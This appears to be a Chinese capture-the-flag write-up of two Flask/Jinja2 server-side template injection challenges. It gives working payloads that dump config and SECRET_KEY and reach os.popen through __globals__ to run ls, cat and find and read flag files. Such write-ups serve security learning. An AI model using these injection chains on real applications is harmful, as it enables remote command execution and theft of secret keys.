何为SSTI模块注入?
SSTI即服务器端模板注入(Server-Side Template Injection),是一种注入漏洞。 服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。
常见的SSTI模块注入攻击有哪些
常见的SSTI模块注入攻击包括以下几种:
题目环境
You need pass in a parameter named flag。 您需要传入一个名为flag的参数。
随便传参看看有何变化
?flag=1
?flag=flag.php
?flag=system(ls);
有点意思,不管输入什么,都会被"注释",不免让我有些惊愕。
接下来就步入正题吧
使用模板变量进行渗透 {{}}是模板变量的用法。在模板中,想要展示视图向模板渲染的变量,需要使用{{变量}}进行接收。
继续传参测试
?flag={{6*6}}
?flag={{6+6}}
爆出了部分信息
回到题目首页F12
You know, in the flask, We often set a secret_key variable. 你知道,在烧瓶里,我们经常设置一个秘密的钥匙…。
模板中的配置命令
在模板中,config通常指的是配置文件。这些文件包含了程序运行所需的设置和参数,使得程序可以根据配置文件的内容进行适应性调整。
那就到此为止吧
好好好,今天就依你,使用这把钥匙🔑来拿下flag
?flag={{config.SECRET_KEY}}
当然还有一个较为粗鲁的方法
直接查看所有配置
**?flag={{config}}**
最后一种方法就颇为更加的规范
?flag={{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('echo $FLAG').read()}}
这里是对这段命令的解释
这段代码的核心思想是通过复杂的对象模型和全局符号表来执行一个命令并读取其输出
拿下flag:
flag{d3b917ea81211b45b392e2ce1ec2a1c5}
题目环境
照例查看配置信息
**?flag={{config}}**
唉,我不免耸了耸肩,有些无奈,并未发现什么有用的 想必相比第一题便不是那般小打小闹了 至此,看来得认真对待了
使用模板注入照打一番
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read()}}
对于这段命令,在第一题,我也是有所提及,相差不大 这里略作解释 python中popen函数主要是用来执行linux命令函数 使用使用之前需要导入os模块 这段命令是列出上一级的所有目录以及文件
先看app目录
?flag={{config.__class__.__init__.__globals__['os'].popen('ls /app').read()}}
发现flag的存在
查flag内容
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
当让我们还可以使用Linux中find命令来查找flag的路径
?flag={{config.__class__.__init__.__globals__['os'].popen('find / -name flag').read()}}
接下来就照打不误了
?flag={{config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read()}}
拿下flag:
flag{1f13963c42fa39b5aae92e25d1627851}